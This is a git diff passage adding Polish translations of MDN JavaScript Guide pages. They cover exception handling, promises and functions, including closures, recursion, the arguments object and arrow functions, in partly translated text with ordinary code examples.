+<h4 id="Blok_finally">Blok <code><strong>finally</strong></code></h4>
+
+<p>Możliwe jest dodanie bloku <code>finally</code>, który wykona się niezależnie od tego czy kod w bloku <code>try</code> rzucił jakimś wyjątkiem czy nie.</p>
+
+<pre class="brush: js">function test1(){
+ test2();
+};
+
+function test2(){
+  console.log(name)
+};
+
+try{
+  test1();
+}
+catch(e){
+ console.error(e) //ReferenceError: name is not defined
+}
+finally{
+ console.log('Taka zmienna nie została zadeklarowana!')
+}</pre>
+
+<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">Zagnieżdzone instrukcje <strong>try...catch</strong></h4>
+
+<p>W swoim programie możesz użyć wielu zagnieżdzonych bloków <code>try...catch. </code>Jeśli wewnętrzny <code>try...catch </code>nie będzie posiadał bloku <code>catch,</code> wyjątek zostanie przekazany do zewnętrznego<code> try...catch.</code></p>
+
+<h3 id="Wykorzystanie_obiektu_Error">Wykorzystanie obiektu Error</h3>
+
+<p>W zależności od rodzaju błędu jaki chcesz wygnerować w swoim programie, możesz skorzystać z pól 'name' i 'message', aby uzyskać bardziej wyrafinowany log. 'name' zabiera nazwe ogólnej klasy błędu (np. 'DOMException'), z kolei 'message' zawiera bardziej szczegółową informacje okolicznościach powstania danego błędu.</p>
+
+<p>Jeśli chcesz wywoływać własne wyjątki, aby skorzystać z zalet tych pól możesz użyć konstruktora Error:</p>
+
+<pre class="brush: js">function doSomethingErrorProne () {
+ if (ourCodeMakesAMistake()) {
+ throw (new Error('The message'));
+ } else {
+ doSomethingToGetAJavascriptError();
+ }
+}
+....
+try {
+ doSomethingErrorProne();
+}
+catch (e) {
+ console.log(e.name); // logs 'Error'
+ console.log(e.message); // logs 'The message' or a JavaScript error message)
+}</pre>
+
+<h2 id="Obietnice">Obietnice</h2>
+
+<p>Począwszy od specyfikacji ECMAScript 6, JavaScript obsługuje obiekty obietnic pozwalające na kontrole przepływu opóźnionych i asynchronicznych operacji.</p>
+
+<p>Obietnica może znajdować się w jednym z następujących stanów:</p>
+
+<ul>
+ <li><em>oczekiwanie</em>: stan początkowy, obietnica nie jest ani spełniona ani odrzucona.</li>
+ <li><em>spełnienie</em>: operacja zakończona sukcesem.</li>
+ <li><em>odrzucenie</em>: operacja zakończona niepowodzeniem.</li>
+ <li><em>rozliczenie</em>: obietnica została spełniona lub odrzucona i nie jest już w stanie oczekiwania.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="Ładowanie_zdjęcia_za_pomocą_XHR">Ładowanie zdjęcia za pomocą XHR</h3>
+
+<p>Prosty przykład użycia <code>Promise and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> </code></code>do załadowania zdjęcia jeśli jest dostępne w MDN GitHub promise-test repozytorium. </p>
+
+<pre class="brush: js">function imgLoad(url) {
+ return new Promise(function(resolve, reject) {
+ var request = new XMLHttpRequest();
+ request.open('GET', url);
+ request.responseType = 'blob';
+ request.onload = function() {
+ if (request.status === 200) {
+ resolve(request.response);
+ } else {
+ reject(Error('Image didn\'t load successfully; error code:'
+ + request.statusText));
+ }
+ };
+ request.onerror = function() {
+ reject(Error('There was a network error.'));
+ };
+ request.send();
+ });
+}</pre>
+
+<p>Aby dowiedzieć się więcej, sprawdź {{jsxref("Promise")}}.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/pl/web/javascript/guide/funkcje/index.html b/files/pl/web/javascript/guide/funkcje/index.html
new file mode 100644
index 0000000000..d9e66793ea
--- /dev/null
+++ b/files/pl/web/javascript/guide/funkcje/index.html
@@ -0,0 +1,642 @@
+---
+title: Funkcje
+slug: Web/JavaScript/Guide/Funkcje
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<p class="summary">Funkcje są jednym z podstawowych 'klocków' JavaScriptu. Funkcja jest zbiorem wyrażeń, które wykonują jakieś zadanie, bądź obliczają wartość. Aby użyć funkcji, musisz najpierw zdefiniować ją gdzieś w zasięgu, z którego zostanie wywołana.</p>
+
+<p>See also the <a href="/en-US/docs/Web/JavaScript/Reference/Functions">exhaustive reference chapter about JavaScript functions</a> to get to know the details.</p>
+
+<h2 id="Definiowanie_funkcji">Definiowanie funkcji</h2>
+
+<h3 id="Deklaracje_funkcji">Deklaracje funkcji</h3>
+
+<p><strong>Definicja funkcji</strong> (zwana też <strong>deklaracją funkcji</strong>, lub <strong>instrukcją funkcji</strong>) składa się ze słowa kluczowego <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>function</code></a> oraz:</p>
+
+<ul>
+ <li>Nazwy funkcji.</li>
+ <li>Listy argumentów zamkniętych w nawiasach i oddzielonych przecinkami.</li>
+ <li>Instrukcji JavaScript, które definiują funkcję, zamkniętych w nawiasach klamrowych, <code>{ }</code>.</li>
+</ul>
+
+<p>Poniższy przykład przedstawia definicję funkcji obliczającej kwadrat liczby:</p>
+
+<pre class="brush: js">function square(number) {
+ return number * number;
+}
+</pre>
+
+<p>Funkcja <code>square</code> przyjmuje jeden argument, nazwany <code>number</code>. Funkcja składa się z jednej instrukcji, która zwraca argument (<code>number</code>) pomnożony przez siebie. Instrukcja <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> oznacza wartość zwracaną przez funkcję.</p>
+
+<pre class="brush: js">return number * number;
+</pre>
+
+<p>Podstawowe parametry (takie jak liczby) są przekazywane do funkcji <strong>przez wartość</strong>; wartośc przekazywana jest do funkcji, ale jeśli funkcja zmienia wartość, ta zmiana nie jest rejestrowana globalnie, lub w funkcji wywołującej.</p>
+
+<p>Jeśli przekażesz obiekt (n.p. {{jsxref("Array")}}) jako parametr a funkcja zmieni właściwości obiektu, zmiana ta jest rejestrowana poza funkcją, tak jak jest to pokazane w przykładzie:</p>
+
+<pre class="brush: js">function myFunc(theObject) {
+ theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x dostaje wartość "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y dodaje wartość "Toyota"
+ // (właściwość make została zmieniona przez funkcję)
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Przypisanie nowego obiektu do parametru <strong>nie</strong> będzie miało żadnego skutku poza funkcją, ponieważ jest to zmiana wartości parametru, a nie zmiana jednej z właściwości obiektu:</p>
+</div>
+
+<pre class="brush: js">function myFunc(theObject) {
+ theObject = {make: "Ford", model: "Focus", year: 2006};
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x dostaje wartość "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y wciąż dostaje wartość "Honda" </pre>
+
+<h3 id="Wyrażenia_funkcyjne">Wyrażenia funkcyjne</h3>
+
+<p>Podczas gdy powyższa deklaracja jest syntaktycznie wyrażeniem, funkcje mogą być utworzone także przez <strong>wyrażenie funkcyjne.</strong> Taka funkcja może być <strong>anonimowa;</strong> nie posiadająca nazwy. Dla przykładu, funkcja <code>square </code>może być zdefiniowana następująco:</p>
+
+<pre class="brush: js">var square = function(number) { return number * number };
+var x = square(4) // x gets the value 16</pre>
+
+<p>Deklaracja funkcji przy  pomocy wyrażenia funkcyjnego nie oznacza, że funkcja musi być anonimowa. Nadal może ona posiadać swoją nazwę, która może przydać się do wywołania samej siebie czy do identyfikacji w śladzie stosu podczas debugowania kodu. </p>
+
+<pre class="brush: js">var factorial = function fac(n) { return n&lt;2 ? 1 : n*fac(n-1) };
+
+console.log(factorial(3));
+</pre>
+
+<p>Function expressions are convenient when passing a function as an argument to another function. The following example shows a <code>map</code> function being defined and then called with an expression function as its first parameter:</p>
+
+<pre class="brush: js">function map(f,a) {
+ var result = [], // Create a new Array
+ i;
+ for (i = 0; i != a.length; i++)
+ result[i] = f(a[i]);
+ return result;
+}
+</pre>
+
+<p>Poniższy kod:</p>
+
+<pre class="brush: js">map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+</pre>
+
+<p>zwraca [0, 1, 8, 125, 1000].</p>
+
+<p>In JavaScript, a function can be defined based on a condition. For example, the following function definition defines <code>myFunc</code> only if <code>num</code> equals 0:</p>
+
+<pre class="brush: js">var myFunc;
+if (num == 0){
+ myFunc = function(theObject) {
+ theObject.make = "Toyota"
+ }
+}</pre>
+
+<p>In addition to defining functions as described here, you can also use the {{jsxref("Function")}} constructor to create functions from a string at runtime, much like {{jsxref("eval()")}}.</p>
+
+<p>A <strong>method</strong> is a function that is a property of an object. Read more about objects and methods in <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Working with objects</a>.</p>
+
+<h2 id="Wywoływanie_funkcji">Wywoływanie funkcji</h2>
+
+<p>Definicja fukcji nie wykonuje jej. Definiowanie funkcji nazywa fukncję i określa co robić kiedy fukcja zostanie wywołana. <strong>Wywołanie </strong>funkcji inicjiuje wykonanie określonych akcji wraz z wskazanymi parametrami. Na przykład, jeśli zdefiniujesz funkcję square, możesz ją wywołać w następujący sposób:</p>
+
+<pre class="brush: js">square(5);
+</pre>
+
+<p>Powyższy kod wywołuje funkcję dla argumentu 5. Funkcja wykonuje się i zwraca wartość 25.</p>
+
+<p>Funkcja musi znajdować się w obecnym zakresie by mogła zostać wywołana. Jej wywołanie może jednak znajdować się powyżej jej deklaracji. Mamy wtedy do czynienia ze zjawiskiem hoistingu. </p>
+
+<pre class="brush: js">console.log(square(5));
+/* ... */
+function square(n) { return n*n }
+</pre>
+
+<p>Zakres funkcji jest funkcją w której została ona zadeklarowana co oznacza, że deklarując funkcję na najwyższym poziomie programu, znajduje się ona w zakresie globalnym.</p>
+
+<div class="note">
+<p><strong>Notka:</strong> Zjawisko hoistingu funkcji zachodzi wyłącznie w przypadku powyższego sposobu deklaracji (<code>function funcName(){}</code>). Poniższy kod nie zadziała, w tym przypadku funkcja została zadeklarowana za pomocą wyrażenia.</p>
+</div>
+
+<pre class="brush: js example-bad">console.log(square(5));
+square = function (n) {
+ return n * n;
+}
+</pre>
+
+<p>Argumenty funkcji mogą być nie tylko łańcuchami lub liczbami.Funkcja <code>show_props()</code> (zdefiniowana w <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a>) jest przykładem funkcji przyjmującej objekt jako argument.</p>
+
+<p>Funkcja może wywoływać samą siebie. Na przykład, poniżej mamy funkcję rekurencyjnie obliczającą silnię.</p>
+
+<pre class="brush: js">function factorial(n){
+ if ((n == 0) || (n == 1))
+ return 1;
+ else
+ return (n * factorial(n - 1));
+}
+</pre>
+
+<p>Poniżej znajdują się wyniki funkcji dla liczb z zakresu 1-5.</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
+<p>Istnieją inne sposoby wywołania funkcji. Często zdarzają się sytuacje gdy funkcja musi zostać wywołana dynamicznie, przyjmuje różna liczbę argumentów lub zmienia sie kontekst jej wywołania. Okazuje się, że funkcje są tak naprawdę obiektami, które posiadaja własne metody (sprawdź obiekt {{jsxref("Function")}}). Jednej z tych metod {{jsxref("Function.apply", "apply()")}} możemy użyć do zmiany kontekstu wywołania funkcji.</p>
+
+<h2 class="deki-transform" id="Zakres_funkcji">Zakres funkcji</h2>
+
+<p>Zmienne zdefiniowane wewnątrz funkcji nie są dostępne poza nią, ponieważ są zdefiniowane tylko w wewnętrznym zakresie funkcji. Sama funkcja ma dostęp do innych zmiennych i funkcji zdefiniowanych w tym samym zakresie, w którym została zdefiniowana. Innymi słowy, funkcja zdefiniowana w zakresie globalnym ma dostęp do wszystkich zmiennych zdefiniowanych w zakresie globalnym. Funkcja zdefiniowana w innej funkcji ma dostęp do wszystkich zmiennych zdefiniowanych w funkcji macierzystej oraz zmiennych, do których ma dostęp funkcja macierzysta.</p>
+
+<pre class="brush: js">// Poniższe zmienne są zdefiniowane z zakresie globalnym
+var num1 = 20,
+ num2 = 3,
+ name = "Chamahk";
+
+// Ta funkcja jest zdefiniowana w zakresie globalnym
+function multiply() {
+ return num1 * num2;
+}
+
+multiply(); // Zwraca 60
+
+// Przykład funkcji zagnieżdżonej
+function getScore () {
+ var num1 = 2,
+ num2 = 3;
+
+ function add() {
+ return name + " scored " + (num1 + num2);
+ }
+
+ return add();
+}
+
+getScore(); // Zwraca "Chamahk scored 5"
+</pre>
+
+<h2 id="Zakres_i_stos_funkcji">Zakres i stos funkcji</h2>
+
+<h3 id="Rekurencja">Rekurencja</h3>
+
+<p>Funkcja może się odwoływać i wywoływać samą siebie. Istnieją trzy sposoby odwoływania się funkcji do siebie:</p>
+
+<ol>
+ <li>przez nazwę funkcji</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li>
+ <li>przez zmienną dostępna w zakresie, która odwołuje się do funkcji</li>
+</ol>
+
+<p>Na przykład, rozważ następującą definicję funkcji:</p>
+
+<pre class="brush: js">var foo = function bar() {
+ // statements go here
+};
+</pre>
+
+<p>Within the function body, the following are all equivalent:</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>Funkcja, która wywołuje samą siebie to <em>funkcja rekurencyjna</em>. W pewnym sensie rekurencja jest analogiczna z pętlą. Zarówno funkcja rekurencyjna, jak i pętla wykonują ten sam kod wiele razy, potrzebują warunku końca (aby uniknąć wiecznej pętli lub bardziej w tym przypadku wiecznej rekurencji). Dla przykładu następująca pętla:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" is the loop condition
+ // zrób jakieś rzeczy
+ x++;
+}
+</pre>
+
+<p>może być przekształcona w funkcję rekurencyjną i wywołanie tej funkcji:</p>
+
+<pre class="brush: js">function loop(x) {
+ if (x &gt;= 10) // "x &gt;= 10" is the exit condition (equivalent to "!(x &lt; 10)")
+ return;
+ // do stuff
+ loop(x + 1); // rekurencyjne wywołanie
+}
+loop(0);
+</pre>
+
+<p>Niektóre algorytmy nie mogą być wykonane w zwykłej iteracji pętli. Dla przykładu, wydobycie wszystkich nodów ze struktury drzewiastej (np. dla <a href="/en-US/docs/DOM">DOM</a>) jest łatwiej wykonać za pomocą rekurencji:</p>
+
+<pre class="brush: js">function walkTree(node) {
+ if (node == null) //
+ return;
+ // zrób coś z node
+ for (var i = 0; i &lt; node.childNodes.length; i++) {
+ walkTree(node.childNodes[i]);
+ }
+}
+</pre>
+
+<p>Porównując do funkcji z pętlą <code>loop</code>, każde rekurencyjne wywołanie wykonuje wiele rekurencyjnych wowołań.</p>
+
+<p>Każdy algorytm rekurencyjny można zmienić na nie rekurencyjny, lecz logika w tym drugim przypadku jest znacznie bardziej skomplikowana i wymaga użycia stosu. Faktycznie, sama rekurencja używa stosu: stosu funkcyjnego.</p>
+
+<p>W poniższym przykładzie widać zachowanie przypominające użycie stosu:</p>
+
+<pre class="brush: js">function foo(i) {
+ if (i &lt; 0)
+ return;
+ console.log('begin:' + i);
+ foo(i - 1);
+ console.log('end:' + i);
+}
+foo(3);
+
+// Output:
+
+// begin:3
+// begin:2
+// begin:1
+// begin:0
+// end:0
+// end:1
+// end:2
+// end:3</pre>
+
+<h3 id="Funkcje_zagnieżdżone_i_domknięcia">Funkcje zagnieżdżone i domknięcia</h3>
+
+<p>Możesz zagnieżdżać funkcję w funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna dla funkcji (zewnętrznej), która ją zawiera. W ten sposób tworzy się domknięcie (<em>closure)</em>. Domknięcie jest wyrażeniem (zwykle funkcją), które może posiadać dodatkowe zmienne razem ze środowiskiem, które "wiąże" te zmienne (w ten sposób domknięcie jest zamykane).</p>
+
+<p>Ponieważ funkcja zagnieżdżona jest równocześnie domknięciem, to oznacza, że może "dziedziczyć" wszystkie argumenty i zmienne funkcji, która ją zawiera. Innymi słowy, funkcja wewnętrzna zawiera zakres funkcji zewnętrznej.</p>
+
+<p>Podsumowując:</p>
+
+<ul>
+ <li>Funkcja wewnętrzna może być dostępna tylko przez instrukcje z funkcji zewnętrznej.</li>
+</ul>
+
+<ul>
+ <li>Funkcja wewnętrzna tworzy domknięcie: może używać argumentów i zmiennych funkcji zewnętrznej, podczas gdy funkcja zewnętrzna nie może używać argumentów i zmiennych funkcji wewnętrznej.</li>
+</ul>
+
+<p>Poniższy przykład obrazuje funkcje zagnieżdżone:</p>
+
+<pre class="brush: js">function addSquares(a,b) {
+ function square(x) {
+ return x * x;
+ }
+ return square(a) + square(b);
+}
+a = addSquares(2,3); // returns 13
+b = addSquares(3,4); // returns 25
+c = addSquares(4,5); // returns 41
+</pre>
+
+<p>Ponieważ funkcja wewnętrzna tworzy domknięcie, możesz wywołać funkcję zewnętrzną i podać argumenty zarówno dla zewnętrznej, jak i wewnętrznej funkcji:</p>
+
+<pre class="brush: js">function outside(x) {
+ function inside(y) {
+ return x + y;
+ }
+ return inside;
+}
+fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it
+result = fn_inside(5); // returns 8
+
+result1 = outside(3)(5); // returns 8
+</pre>
+
+<h3 id="Zachowywanie_zmiennych">Zachowywanie zmiennych</h3>
+
+<p>Zwróć uwagę jak zmienna <code>x</code> jest zachowana, kiedy zwracana jest funkcja <code>inside</code>. Domknięcie musi zachować argumenty i zmienne we wszystkich zakresach, do których się odwołuje. Jako że każde wywołanie potencjalnie dostarcza różne wartości argumentów, przy każdym wywołaniu <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">outside</span></font> jest tworzone nowe domknięcie. Pamięć może być zwolniona, tylko jeśli zwracany <code>inside</code> nie jest więcej dostępny.</p>
+
+<p>Ten sposób nie różni się od zachowywania referencji w innych obiektach, lecz jest mniej oczywisty, ponieważ referencje nie są tworzone bezpośrednio i nie można ich zweryfikować.</p>
+
+<h3 id="Wielokrotnie_zagnieżdżone_funkcje">Wielokrotnie zagnieżdżone funkcje</h3>
+
+<p>Funkcje mogą być zagnieżdżone wielokrotnie, np. funkcja (A) zawierająca funkcję (B) zawierającą funkcję (C). Obydwie funkcje B i C tworzą domknięcia więc B ma dostęp do A a C ma dostęp do B. Dodatkowo, ponieważ C ma dostęp do B która ma dostęp do A, więc C również ma dostęp do A. W ten sposób domknięcia mogą zawierać wiele zakresów; zawierają rekurencyjne zakresy funkcji, które je zawierają. Efekt ten nazywa się <em>wiązaniem zakresów (</em><em>scope chaining)</em>. (Później zostanie wyjaśnione określenie "chaining".)</p>
+
+<p>Rozważ poniższy przykład:</p>
+
+<pre class="brush: js">function A(x) {
+ function B(y) {
+ function C(z) {
+ console.log(x + y + z);
+ }
+ C(3);
+ }
+ B(2);
+}
+A(1); // logs 6 (1 + 2 + 3)
+</pre>
+
+<p>W tym przykładzie <code>C</code> ma dostęp do zmiennej <code>y</code> w <code>B</code> i <code>x</code> w <code>A</code>. Jest to możliwe, ponieważ:</p>
+
+<ol>
+ <li><code>B</code> tworzy domknięcie zawierające <code>A</code> i dlatego <code>B</code> ma dostęp do argumentów i zmiennych <code>A</code>.</li>
+ <li><code>C</code> tworzy domknięcie zawierające <code>B</code>.</li>
+ <li>Ponieważ domknięcie <code>B</code> zawiera <code>A</code>, to domknięcie <code>C</code> również zawiera <code>A</code>. <code>C</code> ma dostęp do zmiennych i argumentów zarówno <code>B</code> jak i <code>A</code>. Innymi słowy <code>C</code> wiąże zakresy <code>B</code> i <code>A</code>.</li>
+</ol>
+
+<p>Jednak sytuacja odwrotna nie jest już prawdziwa. <code>A</code> nie ma dostępu do <code>C</code>, ponieważ <code>A</code> nie może dostać się do żadnego argumentu i zmiennej <code>B</code>, dla której <code>C</code> jest zmienną. Zatem <code>C</code> pozostaje prywatny (dostępny) tylko dla <code>B</code>.</p>
+
+<h3 id="Konflikty_nazw">Konflikty nazw</h3>
+
+<p>Gdy dwa argumenty lub zmienne w zakresach danego zamknięcia mają tę samą nazwę, wtedy występuje konflikt nazw. Czym bardziej wewnętrzny zakres, tym większe pierwszeństwo, więc najbardziej wewnętrzny zakres ma najwyższy priorytet, a najbardziej zewnętrzny zakres ma najniższy. Sytuacja ta, określana jest wiązaniem zakresów. Pierwszy w łańcuchu to najbardziej wewnętrzny zakres, a ostatni to najbardziej zewnętrzny. Rozważ następujący przykład:</p>
+
+<pre class="brush: js">function outside() {
+ var x = 10;
+ function inside(x) {
+ return x;
+ }
+ return inside;
+}
+result = outside()(20); // returns 20 instead of 10
+</pre>
+
+<p>The name conflict happens at the statement <code>return x</code> and is between <code>inside</code>'s parameter <code>x</code> and <code>outside</code>'s variable <code>x</code>. The scope chain here is {<code>inside</code>, <code>outside</code>, global object}. Therefore <code>inside</code>'s <code>x</code> takes precedences over <code>outside</code>'s <code>x</code>, and 20 (<code>inside</code>'s <code>x</code>) is returned instead of 10 (<code>outside</code>'s <code>x</code>).</p>
+
+<h2 id="Closures">Closures</h2>
+
+<p>Closures are one of the most powerful features of JavaScript. JavaScript allows for the nesting of functions and grants the inner function full access to all the variables and functions defined inside the outer function (and all other variables and functions that the outer function has access to). However, the outer function does not have access to the variables and functions defined inside the inner function. This provides a sort of security for the variables of the inner function. Also, since the inner function has access to the scope of the outer function, the variables and functions defined in the outer function will live longer than the outer function itself, if the inner function manages to survive beyond the life of the outer function. A closure is created when the inner function is somehow made available to any scope outside the outer function.</p>
+
+<pre class="brush: js">var pet = function(name) { // The outer function defines a variable called "name"
+ var getName = function() {
+ return name; // The inner function has access to the "name" variable of the outer function
+ }
+ return getName; // Return the inner function, thereby exposing it to outer scopes
+},
+myPet = pet("Vivie");
+
+myPet(); // Returns "Vivie"
+</pre>
+
+<p>It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.</p>
+
+<pre class="brush: js">var createPet = function(name) {
+ var sex;
+
+ return {
+ setName: function(newName) {
+ name = newName;
+ },
+
+ getName: function() {
+ return name;
+ },
+
+ getSex: function() {
+ return sex;
+ },
+
+ setSex: function(newSex) {
+ if(typeof newSex == "string" &amp;&amp; (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+ sex = newSex;
+ }
+ }
+ }
+}
+
+var pet = createPet("Vivie");
+pet.getName(); // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex(); // male
+pet.getName(); // Oliver
+</pre>
+
+<p>In the code above, the <code>name</code> variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner function act as safe stores for the inner functions. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.</p>
+
+<pre class="brush: js">var getCode = (function(){
+ var secureCode = "0]Eal(eh&amp;2"; // A code we do not want outsiders to be able to modify...
+
+ return function () {
+ return secureCode;
+ };
+})();
+
+getCode(); // Returns the secureCode
+</pre>
+
+<p>There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.</p>
+
+<pre class="brush: js">var createPet = function(name) { // Outer function defines a variable called "name"
+ return {
+ setName: function(name) { // Enclosed function also defines a variable called "name"
+ name = name; // ??? How do we access the "name" defined by the outer function ???
+ }
+ }
+}
+</pre>
+
+<p>The magical <code>this</code> variable is very tricky in closures. They have to be used carefully, as what <code>this</code> refers to depends completely on where the function was called, rather than where it was defined.</p>
+
+<h2 id="Using_the_arguments_object">Using the arguments object</h2>
+
+<p>The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>where <code>i</code> is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be <code>arguments[0]</code>. The total number of arguments is indicated by <code>arguments.length</code>.</p>
+
+<p>Using the <code>arguments</code> object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use <code>arguments.length</code> to determine the number of arguments actually passed to the function, and then access each argument using the <code>arguments</code> object.</p>
+
+<p>For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+ var result = "", // initialize list
+ i;
+ // iterate through arguments
+ for (i = 1; i &lt; arguments.length; i++) {
+ result += arguments[i] + separator;
+ }
+ return result;
+}
+</pre>
+
+<p>You can pass any number of arguments to this function, and it concatenates each argument into a string "list":</p>
+
+<pre class="brush: js">// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>arguments</code> variable is "array-like", but not an array. It is array-like in that is has a numbered index and a <code>length</code> property. However, it does not possess all of the array-manipulation methods.</p>
+</div>
+
+<p>See the {{jsxref("Function")}} object in the JavaScript reference for more information.</p>
+
+<h2 id="Function_parameters">Function parameters</h2>
+
+<p>Starting with ECMAScript 6, there are two new kinds of parameters: default parameters and rest parameters.</p>
+
+<h3 id="Default_parameters">Default parameters</h3>
+
+<p>In JavaScript, parameters of functions default to <code>undefined</code>. However, in some situations it might be useful to set a different default value. This is where default parameters can help.</p>
+
+<p>In the past, the general strategy for setting defaults was to test parameter values in the body of the function and assign a value if they are <code>undefined</code>. If in the following example, no value is provided for <code>b</code> in the call, its value would be <code>undefined</code>  when evaluating <code>a*b</code> and the call to <code>multiple</code> would have returned <code>NaN</code>. However, this is caught with the second line in this example:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+ b = typeof b !== 'undefined' ? b : 1;
+
+ return a*b;
+}
+
+multiply(5); // 5
+</pre>
+
+<p>With default parameters, the check in the function body is no longer necessary. Now, you can simply put <code>1</code> as the default value for <code>b</code> in the function head:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+ return a*b;
+}
+
+multiply(5); // 5</pre>
+
+<p>Fore more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> in the reference.</p>
+
+<h3 id="Rest_parameters">Rest parameters</h3>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameter</a> syntax allows to represent an indefinite number of arguments as an array. In the example, we use the rest parameters to collect arguments from the second one to the end. We then multiply them by the first one. This example is using an arrow function, which is introduced in the next section.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+ return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="Arrow_functions">Arrow functions</h2>
+
+<p>An <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> (also known as <strong>fat arrow function</strong>) has a shorter syntax compared to function expressions and lexically binds the <code>this</code> value. Arrow functions are always anonymous. See also this hacks.mozilla.org blog post: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>".</p>
+
+<p>Two factors influenced the introduction of arrow functions: shorter functions and lexical <code>this</code>.</p>
+
+<h3 id="Shorter_functions">Shorter functions</h3>
+
+<p>In some functional patterns, shorter functions are welcome. Compare:</p>
+
+<pre class="brush: js">var a = [
+ "Hydrogen",
+ "Helium",
+ "Lithium",
+ "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+
+var a3 = a.map( s =&gt; s.length );</pre>
+
+<h3 id="Lexical_this">Lexical <code>this</code></h3>
+
+<p>Until arrow functions, every new function defined its own <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> value (a new object in case of a constructor, undefined in strict mode function calls, the context object if the function is called as an "object method", etc.). This proved to be annoying with an object-oriented style of programming.</p>
+
+<pre class="brush: js">function Person() {
+ // The Person() constructor defines `<code>this`</code> as itself.
+  this.age = 0;
+
+ setInterval(function growUp() {
+ // In nonstrict mode, the growUp() function defines `this`
+ // as the global object, which is different from the `this`
+ // defined by the Person() constructor.
+   this.age++;
+ }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>In ECMAScript 3/5, this issue was fixed by assigning the value in <code>this</code> to a variable that could be closed over.</p>
+
+<pre class="brush: js">function Person() {
+ var self = this; // Some choose `that` instead of `self`.
+ // Choose one and be consistent.
+ self.age = 0;
+
+ setInterval(function growUp() {
+ // The callback refers to the `self` variable of which
+ // the value is the expected object.
+ self.age++;
+ }, 1000);
+}</pre>
+
+<h2 id="Predefined_functions">Predefined functions</h2>
+
+<p>JavaScript has several top-level, built-in functions:</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt>
+ <dd>
+ <p>The <code><strong>eval()</strong></code> method evaluates JavaScript code represented as a string.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>The <code><strong>uneval()</strong></code> method creates a string representation of the source code of an {{jsxref("Object")}}.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt>
